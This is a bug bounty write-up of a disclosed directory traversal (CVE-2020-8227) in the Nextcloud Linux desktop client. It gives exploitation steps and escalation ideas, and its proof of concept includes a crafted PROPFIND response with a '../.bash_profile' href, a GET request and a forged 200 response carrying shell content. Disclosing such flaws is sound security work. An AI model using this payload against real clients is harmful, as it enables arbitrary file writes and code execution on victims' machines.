# Linux client is vulnerable to directory traversal when downloading files

Malicious Nextcloud server admin injects `../` in WebDAV PROPFIND href, causing Linux client to write files outside sync folder, enabling ~/.bash_profile RCE.

- Payout: $250
- Severity: medium
- Program: Nextcloud
- Found by: netranger
- Disclosed: 2020-08-17
- CVE: CVE-2020-8227
- Write-up quality: 7/10
- Original: https://hackerone.com/reports/590319
- Library page: https://bugbountylibrary.com/r/h1%3A590319
- Tags: area:os domain:desktop impact:rce kind:bounty platform:hackerone sev:medium tech:linux technique:chained technique:recon vuln:path-traversal

**Target:** Nextcloud Linux desktop client (mirall) WebDAV sync download path handling
**Root cause:** Client trusts the server-supplied `d:href` filename from PROPFIND responses and uses it directly as a local write path without sanitizing `../` traversal sequences.
**Steps:**
1. Configure Nextcloud client to use an HTTP proxy (Burp) and intercept server responses.
2. Trigger sync so client sends `PROPFIND /nextcloud/remote.php/dav/files/admin/`.
3. Inject a `<d:response>` with `<d:href>/nextcloud/remote.php/dav/files/user/../.bash_profile</d:href>` into the XML reply.
4. Client issues `GET .../files/user/../.bash_profile`; reply `404`, then rewrite to `200 OK` with attacker body and matching ETag.
5. Client writes content to `~/.bash_profile` (one level above `~/Nextcloud/`).
**How found:** Researcher noticed the client uses server-provided href as local filename during sync, hypothesized `../` in href would traverse the write path, and validated via proxy-injected PROPFIND/GET responses.
**Exploitation:** Malicious server admin (or MITM on HTTP) intercepts sync traffic, injects traversal href and forged 200 response with payload body; client writes file outside sync root. RCE requires victim to log in via SSH/virtual console so bash sources ~/.bash_profile. Only new files writable; file deleted if server stops serving it.
**Escalation:** Write ~/.bash_profile with shell commands to gain code execution when user logs in via SSH or virtual console (CTRL+ALT+F1); alternatively drop executables (jar/sh/bin) hoping user runs them.
**Insight:** Sync clients that mirror server-supplied paths are traversal-prone: test WebDAV/rsync-style hrefs with `../` and absolute paths, and check whether the client sanitizes the filename before joining it to the local sync root.

## Proof of concept (copied exactly from the original report)

**Malicious PROPFIND response with traversal href**

```
<d:response><d:href>/nextcloud/remote.php/dav/files/user/../.bash_profile</d:href><d:propstat><d:prop><d:resourcetype/><d:getlastmodified>Tue, 30 Apr 2020 20:44:16 GMT</d:getlastmodified><d:getcontentlength>37042</d:getcontentlength><d:getetag>&quot;08b9d12b0e2263f92820e8b4706a42c7&quot;</d:getetag><oc:id>00000051ocya3bx9cxde</oc:id><oc:downloadURL></oc:downloadURL><oc:permissions>RGDNVW</oc:permissions><oc:data-fingerprint></oc:data-fingerprint><oc:share-types/></d:prop><d:status>HTTP/1.1 200 OK</d:status></d:propstat><d:propstat><d:prop><oc:dDC/><oc:checksums/></d:prop><d:status>HTTP/1.1 404 Not Found</d:status></d:propstat></d:response>
```

**GET request for traversed file path**

```
GET http://192.168.144.128/nextcloud/remote.php/dav/files/user/../.bash_profile HTTP/1.1
Host: 192.168.144.128
Authorization: Basic abc123
User-Agent: Mozilla/5.0 (Linux) mirall/2.5.2git (build 20190319) (Nextcloud)
Accept: */*
X-Request-ID: 4a1e1d20-283b-4072-9d24-9f39cf7db243abc123
Cookie: nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; ocya3bx9cxde=rvam; oc_sessionPassphrase=srq12bLDYJI8abc123
Connection: Keep-Alive
Accept-Encoding: gzip, deflate
Accept-Language: en-US,*
```

**Forged 200 response with shell payload**

```
HTTP/1.1 200 OK
Connection: close
Content-Type: text/text; charset=utf-8
Content-Length: 93
ETag: 08b9d12b0e2263f92820e8b4706a42c7

echo "It worked! Nextcloud Linux client directory traversal/code execution proof of concept."
```

